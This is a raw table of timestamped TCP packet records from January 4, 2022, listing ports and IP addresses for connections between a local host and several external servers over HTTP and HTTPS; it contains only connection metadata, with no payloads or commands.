Jan 4, 2022 19:33:40.742656946 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.742666960 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.742692947 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.742696047 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.742744923 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.742767096 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.742820024 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.742856979 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.742876053 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.742896080 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.742897034 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.742938042 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.742975950 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.742980957 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.743036032 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.743062019 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.743088961 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.743128061 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.743179083 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.743223906 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.743247032 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.743293047 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.743319988 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.743341923 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.743355036 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.743388891 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.743441105 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.743480921 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.743489981 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.743817091 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.752867937 CET	443	49852	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:40.771624088 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.771671057 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.771780014 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.771913052 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.771951914 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.772012949 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.867856979 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.915327072 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.918029070 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.008667946 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.008704901 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.008733034 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.008769035 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.008836031 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.008891106 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.008980989 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.009035110 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.010510921 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.010536909 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.010557890 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.010579109 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.010654926 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.010679960 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.010916948 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.010946035 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.010983944 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.011235952 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.011264086 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.011290073 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.011301041 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.012454987 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.012484074 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.012510061 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.012537003 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.012567043 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.012573957 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.012590885 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.012595892 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.012624979 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.012650967 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.012665987 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.012676954 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.012684107 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.012705088 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.012731075 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.012749910 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.012758017 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.012787104 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.012811899 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.012840986 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.012864113 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.012867928 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.012907028 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.012911081 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.012953043 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.012979984 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.013006926 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.013034105 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.013058901 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.013058901 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.013065100 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.013084888 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.013112068 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.013139009 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.013160944 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.013166904 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.013166904 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.013194084 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.013667107 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.017072916 CET	443	49852	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.017173052 CET	443	49852	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.017643929 CET	49852	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.017777920 CET	49852	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.017797947 CET	443	49852	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.017841101 CET	49852	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.017855883 CET	443	49852	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.019750118 CET	49853	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.019798994 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.019901037 CET	49853	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.020128965 CET	49853	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.020143032 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.040796995 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.040817976 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.040884972 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.041168928 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.041512012 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.041526079 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.063899994 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.064712048 CET	49853	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.064738035 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.065448046 CET	49853	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.065469027 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.161339998 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.187275887 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.187311888 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.187417030 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.278098106 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.278151989 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.278176069 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.278198004 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.278294086 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.278347015 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.279546022 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.279561996 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.279584885 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.279603004 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.279620886 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.279638052 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.279903889 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.280379057 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.280421019 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.280441999 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.280464888 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.280487061 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.280519009 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.280536890 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.282321930 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.282355070 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.282380104 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.282403946 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.282428980 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.282452106 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.282474995 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.282479048 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.282496929 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.282500029 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.282524109 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.282547951 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.282572031 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.282572985 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.282578945 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.282596111 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.282618999 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.282644033 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.282644987 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.282666922 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.282691002 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.282692909 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.282715082 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.282717943 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.282738924 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.282763958 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.282787085 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.282809973 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.282813072 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.282819033 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.282834053 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.282856941 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.282881021 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.282897949 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.282903910 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.282907009 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.282946110 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.283010960 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.310117960 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.310152054 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.310175896 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.310260057 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.310300112 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.310411930 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.321290970 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.321363926 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.321415901 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.321465969 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.321527004 CET	49853	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.321540117 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.321582079 CET	49853	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.321607113 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.321650028 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.321687937 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.321707964 CET	49853	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.321715117 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.321748972 CET	49853	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.322283030 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.322346926 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.322374105 CET	49853	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.322385073 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.322449923 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.322484970 CET	49853	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.322494030 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.322566032 CET	49853	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.323199987 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.323280096 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.323327065 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.323345900 CET	49853	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.323354959 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.323410034 CET	49853	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.323417902 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.324157953 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.324209929 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.324232101 CET	49853	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.324242115 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.324301004 CET	49853	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.324307919 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.325114965 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.325162888 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.325201988 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.325220108 CET	49853	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.325228930 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.325376034 CET	49853	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.337256908 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.337325096 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.337373018 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.337407112 CET	49853	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.337419987 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.337445021 CET	49853	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.337487936 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.337605953 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.337667942 CET	49853	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.337922096 CET	49853	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.337948084 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.338016987 CET	49853	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.338030100 CET	443	49853	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.367944956 CET	49854	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:41.430454969 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.431355953 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.435621977 CET	80	49854	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:41.435942888 CET	49854	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:41.435976982 CET	49854	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:41.435983896 CET	49854	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:41.456178904 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.456207037 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.456499100 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.503815889 CET	80	49854	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:41.547187090 CET	80	49854	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:41.547285080 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.547302961 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.547321081 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.547343016 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.547357082 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.547420979 CET	49854	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:41.547466993 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.547732115 CET	49854	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:41.548928976 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.548957109 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.548980951 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.549005985 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.549030066 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.549053907 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.549088001 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.549113989 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.549344063 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.549374104 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.549402952 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.549429893 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.549479961 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.549504042 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.551933050 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.551963091 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.551985025 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.552006006 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.552030087 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.552062035 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.552074909 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.552083969 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.552092075 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.552099943 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.552105904 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.552129030 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.552146912 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.552150011 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.552175045 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.552196026 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.552217960 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.552226067 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.552237034 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.552242994 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.552265882 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.552284956 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.552304029 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.552314997 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.552323103 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.552325964 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.552342892 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.552365065 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.552388906 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.552408934 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.552413940 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.552421093 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.552429914 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.552438021 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.552460909 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.552489996 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.552511930 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.552519083 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.552593946 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.579299927 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.579399109 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.579421043 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.579441071 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.579467058 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.579499006 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.579983950 CET	49855	443	192.168.2.5	67.199.248.11
Jan 4, 2022 19:33:41.580030918 CET	443	49855	67.199.248.11	192.168.2.5
Jan 4, 2022 19:33:41.580097914 CET	49855	443	192.168.2.5	67.199.248.11
Jan 4, 2022 19:33:41.580425024 CET	49855	443	192.168.2.5	67.199.248.11
Jan 4, 2022 19:33:41.580445051 CET	443	49855	67.199.248.11	192.168.2.5
Jan 4, 2022 19:33:41.615468979 CET	80	49854	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:41.624262094 CET	443	49855	67.199.248.11	192.168.2.5
Jan 4, 2022 19:33:41.624401093 CET	49855	443	192.168.2.5	67.199.248.11
Jan 4, 2022 19:33:41.626178026 CET	49855	443	192.168.2.5	67.199.248.11
Jan 4, 2022 19:33:41.626192093 CET	443	49855	67.199.248.11	192.168.2.5
Jan 4, 2022 19:33:41.627315044 CET	443	49855	67.199.248.11	192.168.2.5
Jan 4, 2022 19:33:41.631423950 CET	49855	443	192.168.2.5	67.199.248.11
Jan 4, 2022 19:33:41.661374092 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.676871061 CET	443	49855	67.199.248.11	192.168.2.5
Jan 4, 2022 19:33:41.700517893 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.700556040 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.700678110 CET	49839	80	192.168.2.5	61.98.7.132
